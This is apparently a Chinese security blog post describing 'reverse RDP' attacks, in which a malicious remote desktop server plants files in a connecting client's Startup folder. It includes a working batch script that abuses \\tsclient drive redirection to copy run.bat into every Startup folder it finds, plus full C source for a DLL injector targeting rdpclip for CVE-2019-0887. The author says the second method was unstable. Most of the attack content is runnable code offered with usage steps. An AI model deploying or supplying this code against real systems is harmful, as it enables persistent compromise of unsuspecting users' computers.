RDP反向攻击

RDP反向攻击

Posted by hmoytx on January 11, 2021

RDP反向攻击

介绍

这里讲两种攻击方式:

  • 利用挂载盘符进行攻击
  • 利用CVE-2019-0887进行攻击

两者都是在攻击的登录远程桌面时,向攻击者PC的启动目录写入恶意文件,需要重启才能运行恶意文件。
我这里测试的时候,存在很多问题,尤其是后者,较不稳定,按照严格意义并没有复现成功,也许是操作系统问题,也许是代码问题。

利用挂载盘符

原理是通过访问tsclient,并通过目录遍历找到启动目录,将恶意文件写入其中。
tsclient是通过远程桌面连接到远程计算机时,自动分配的一个主机名。
利用该方式的前提是需要开启挂载盘符。

当开启后,在被登录服务器端执行命令:
dir \\tsclient\c
但是要执行其他命令就会拒绝访问。

这里给出一个bat脚本,运行后就可以自动对登录PC的启动项进行写入。

@echo off
timeout 1 >nul 2>&1
mkdir \\tsclient\c\temp >nul 2>&1
mkdir C:\temp >nul 2>&1
copy run.bat C:\temp >nul 2>&1
copy run.bat \\tsclient\c\temp >nul 2>&1
del /q %TEMP%\temp_00.txt >nul 2>&1
set dirs=dir /a:d /b /s \\tsclient\c\users\*startup*
echo|%dirs%|findstr /i "Microsoft\Windows\Start Menu\Programs\Startup">>"%TEMP%\temp_00.txt"
for /F "tokens=*" %%a in (%TEMP%\temp_00.txt) DO (
	copy run.bat "%%a" >nul 2>&1
	copy C:\temp\run.bat "%%a" >nul 2>&1
	copy \\tsclient\c\temp\run.bat "%%a" >nul 2>&1
)
del /q %TEMP%\temp_00.txt >nul 2>&1

测试中第一次没成功,好像是权限问题,拒绝访问。

换了个环境测试,成功写入。

利用CVE-2019-0887进行攻击

原理这里不做进一步讲解,可以参考文章2.
这里只做简单说明,向rdpclip进程中注入dll,hook几个关键函数,对Hdrop数据进行修改,在客户端复制的时候触发,同时粘贴多个文件,路径可自定义(我没成功)。
在触发成功时,可以看到ClipSpy中FileGroupDescriptorW中包含了两个文件名。
上面的是真实复制的文件。

下面的是hook后增加的恶意文件,我这里没有成功,只能同时复制到桌面,没有能复制到启动目录(我改了代码),原始的代码编译的dll,一触发粘贴,甚至刚复制完,rdpclip进程就崩溃了。

粘贴后,桌面出现两个文件。

测试中,就在win7上成功过,其他的都有问题,就在win7上也时常出现崩溃的问题,没有好的办法解决。
贴下注入的代码,参考3gstudent的代码。

#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <tlhelp32.h>
#pragma comment(lib,"Advapi32.lib") 
typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer);

#define NT_SUCCESS(x) ((x) >= 0)

typedef struct _LSA_UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;

typedef NTSTATUS(NTAPI *pRtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);
typedef NTSTATUS(NTAPI *pLdrLoadDll)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE);
typedef DWORD64(WINAPI *_NtCreateThreadEx64)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD64 dwStackSize, DWORD64 dw1, DWORD64 dw2, LPVOID Unknown);

typedef struct _THREAD_DATA
{
	pRtlInitUnicodeString fnRtlInitUnicodeString;
	pLdrLoadDll fnLdrLoadDll;
	UNICODE_STRING UnicodeString;
	WCHAR DllName[260];
	PWCHAR DllPath;
	ULONG Flags;
	HANDLE ModuleHandle;
}THREAD_DATA, *PTHREAD_DATA;

HANDLE WINAPI ThreadProc(PTHREAD_DATA data)
{
	data->fnRtlInitUnicodeString(&data->UnicodeString, data->DllName);
	data->fnLdrLoadDll(data->DllPath, data->Flags, &data->UnicodeString, &data->ModuleHandle);
	return data->ModuleHandle;
}

DWORD WINAPI ThreadProcEnd()
{
	return 0;
}

HANDLE MyCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE pThreadProc, LPVOID pRemoteBuf)
{
	HANDLE hThread = NULL;
	FARPROC pFunc = NULL;

	pFunc = GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx");
	if (pFunc == NULL)
	{
		printf("[!]GetProcAddress (\"NtCreateThreadEx\")error\n");
		return NULL;
	}
	((_NtCreateThreadEx64)pFunc)(&hThread, 0x1FFFFF, NULL, hProcess, pThreadProc, pRemoteBuf, FALSE, NULL, NULL, NULL, NULL);
	if (hThread == NULL)
	{
		printf("[!]MyCreateRemoteThread : NtCreateThreadEx error\n");
		return NULL;
	}

	if (WAIT_FAILED == WaitForSingleObject(hThread, INFINITE))
	{
		printf("[!]MyCreateRemoteThread : WaitForSingleObject error\n");
		return NULL;
	}
	return hThread;
}

BOOL InjectDll(UINT32 ProcessId, char *DllPath)
{
	if (strstr(DllPath, "\\\\") != 0)
	{
		printf("[!]Wrong Dll path\n");
		return FALSE;
	}
	if (strstr(DllPath, "\\") == 0)
	{
		printf("[!]Need Dll full path\n");
		return FALSE;
	}
	
	size_t len = strlen(DllPath) + 1;
	size_t converted = 0;
	wchar_t* DllFullPath;
	DllFullPath = (wchar_t*)malloc(len * sizeof(wchar_t));
	mbstowcs_s(&converted, DllFullPath, len, DllPath, _TRUNCATE);
	
	LPVOID pThreadData = NULL;
	LPVOID pCode = NULL;
	HANDLE ProcessHandle = NULL;
	HANDLE hThread = NULL;
	BOOL bRet = FALSE;

	__try
	{
		ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
		if (ProcessHandle == NULL)
		{
			printf("[!]OpenProcess error\n");
			__leave;
		}
		THREAD_DATA data;
		HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
		data.fnRtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");
		data.fnLdrLoadDll = (pLdrLoadDll)GetProcAddress(hNtdll, "LdrLoadDll");
		memcpy(data.DllName, DllFullPath, (wcslen(DllFullPath) + 1) * sizeof(WCHAR));
		data.DllPath = NULL;
		data.Flags = 0;
		data.ModuleHandle = INVALID_HANDLE_VALUE;
		pThreadData = VirtualAllocEx(ProcessHandle, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
		if (pThreadData == NULL)
		{
			CloseHandle(ProcessHandle);
			printf("[!]VirtualAllocEx error\n");
			__leave;
		}

		BOOL bWriteOK = WriteProcessMemory(ProcessHandle, pThreadData, &data, sizeof(data), NULL);
		if (!bWriteOK)
		{
			CloseHandle(ProcessHandle);
			printf("[!]WriteProcessMemory error\n");
			__leave;
		}

		DWORD SizeOfCode = (DWORD)ThreadProcEnd - (DWORD)ThreadProc;
		pCode = VirtualAllocEx(ProcessHandle, NULL, SizeOfCode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		if (pCode == NULL)
		{
			CloseHandle(ProcessHandle);
			printf("[!]VirtualAllocEx error,%d\n", GetLastError());
			__leave;
		}
		bWriteOK = WriteProcessMemory(ProcessHandle, pCode, (PVOID)ThreadProc, SizeOfCode, NULL);
		if (!bWriteOK)
		{
			CloseHandle(ProcessHandle);
			printf("[!]WriteProcessMemory error\n");
			__leave;
		}

		hThread = MyCreateRemoteThread(ProcessHandle, (LPTHREAD_START_ROUTINE)pCode, pThreadData);
		if (hThread == NULL)
		{
			CloseHandle(ProcessHandle);
			printf("[!]MyCreateRemoteThread error\n");
			__leave;
		}

		WaitForSingleObject(hThread, INFINITE);
		bRet = TRUE;
	}
	__finally
	{
		if (pThreadData != NULL)
			VirtualFreeEx(ProcessHandle, pThreadData, 0, MEM_RELEASE);
		if (pCode != NULL)
			VirtualFreeEx(ProcessHandle, pCode, 0, MEM_RELEASE);
		if (hThread != NULL)
			CloseHandle(hThread);
		if (ProcessHandle != NULL)
			CloseHandle(ProcessHandle);
	}
	return bRet;

}


BOOL EnableDebugPrivilege(BOOL fEnable)
{
	BOOL fOk = FALSE;
	HANDLE hToken;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
		tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
		fOk = (GetLastError() == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
	return(fOk);
}

int main(int argc, char *argv[])
{
	if (argc != 3)
	{
		printf("Use NtCreateThreadEx to inject dll\n\n");
    printf("Usage:\n");
		printf("%s <PID> <Dll Path>\n", argv[0]);
			return 0;
	}
  
  if (!EnableDebugPrivilege(TRUE))
	{
		printf("[!]AdjustTokenPrivileges Failed.<%d>\n", GetLastError());
	}

	if (!InjectDll((DWORD)atoi(argv[1]), argv[2]))
	{
		printf("[!]InjectDll error \n");
		return 1;
	}

	printf("[+]InjectDll success\n");
	
	return 0;
}
Usage:  
x.exe  pid  path

或者用我之前的注入代码也可以。
https://github.com/hmoytx/RdpThief_tools/blob/master/use/detourstest.cpp
自己修改对应进程名和路径即可。

参考

https://mp.weixin.qq.com/s/Aog7M_6XauRi96wFeRo6sg
https://paper.seebug.org/1074/